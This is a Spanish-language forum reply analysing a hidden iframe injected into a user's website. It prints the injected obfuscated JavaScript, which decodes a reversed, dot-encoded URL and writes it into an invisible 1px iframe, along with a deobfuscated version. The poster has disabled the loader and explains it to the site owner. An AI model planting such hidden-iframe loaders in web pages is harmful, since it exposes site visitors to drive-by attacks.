Cita:
Iniciado por koder5 
Hola, creo saber de dónde está viniendo el problema, vos tenés tu dominio manejado por algún proveedor de free DNS? porque si es así a casi todos los usuarios les inyecta javascript con alguna especie de propaganda o algún robot de alguna especie. Tendrías que verificar esto, porque para mí viene del proveedor de hosting o de free DNS. Saludos.
Hola,
No creo... para que inyectar un iframe oculto. Y creo que es un codigo malisioso, porque firefox no te deja entrar a la pagina del iframe.
El codigo es:
Código javascript
:
Ver original<script>
// NO EJECUTAR CODIGO, ESTA DESACTIVADO, PERO SI DESCOMENTAN LA ULTIMA LINEA YA NO
var YtJzBU=document;
function UvrUmwYA(fXCunYmB){
var DdKQrsBtb = "",MAueQJPqK=0;
for(MAueQJPqK=fXCunYmB.length-1;MAueQJPqK >= 0;MAueQJPqK--){
DdKQrsBtb+=fXCunYmB.charAt(MAueQJPqK);
}
return DdKQrsBtb;
}
function lAzxGtC(XFRZIMF_){
XFRZIMF_ = XFRZIMF_.replace(/[\.]/g, "%");
XFRZIMF_=unescape(XFRZIMF_);
return UvrUmwYA(XFRZIMF_);
}
function gqDmBRQ(){
YtJzBU.write("<style>.JIjzCtPmog{width:1px;height: 1px;border:none;visibility:hidden}</style>");
var rPnbv="<iframe id=\"fWMiliU\" src=\"x\" class=\"JIjzCtPmog\"></iframe>";
var eukscm=rPnbv.replace(/[\+x]/g,lAzxGtC(".70.68.70.2e.6e.69.2f.73.74.61.74.73.2f .6f.66.6e.69.2e.72.65.74.6e.75.6f.63.2d.65.76.69.6 c.2e.77.77.77.2f.2f.3a.70.74.74.68"));
return eukscm;
}
//YtJzBU.writeln(gqDmBRQ());
</script>
Y este es el mismo codigo, pero que se entienda mejor:
Código javascript
:
Ver original<script>
var documento=document;
function desencriptarRe(url){
var final = "",numerok=0;
for(numerok=url.length-1;numerok >= 0;numerok--){
final+=url.charAt(numerok);
}
return final;
}
function desencriptar(codigo){
codigo=codigo.replace(/[\.]/g, "%");
codigo=unescape(codigo);
return desencriptarRe(codigo);
}
function getIfram(){
// documento.write("<style>.JIjzCtPmog{width:1px;height: 1px;border:none;visibility:hidden}</style>");
// var html="<iframe id=\"fWMiliU\" src=\"x\" class=\"JIjzCtPmog\"></iframe>";
var html="x";
var html_final=html.replace(/[\+x]/g,desencriptar(".70.68.70.2e.6e.69.2f.73.74.61.74.73.2f .6f.66.6e.69.2e.72.65.74.6e.75.6f.63.2d.65.76.69.6 c.2e.77.77.77.2f.2f.3a.70.74.74.68"));
return html_final;
}
documento.writeln(getIfram());
</script>
Este ultimo si es seguro ejecutar, lo que va a hacer es imprimir la url del iframe. Pero como esta mal el codigo, la url esta mal ;) si el codigo que posteaste es el mismo, no te preocupes porque el que lo inyecto lo puso mal.
Suerte
Salu2
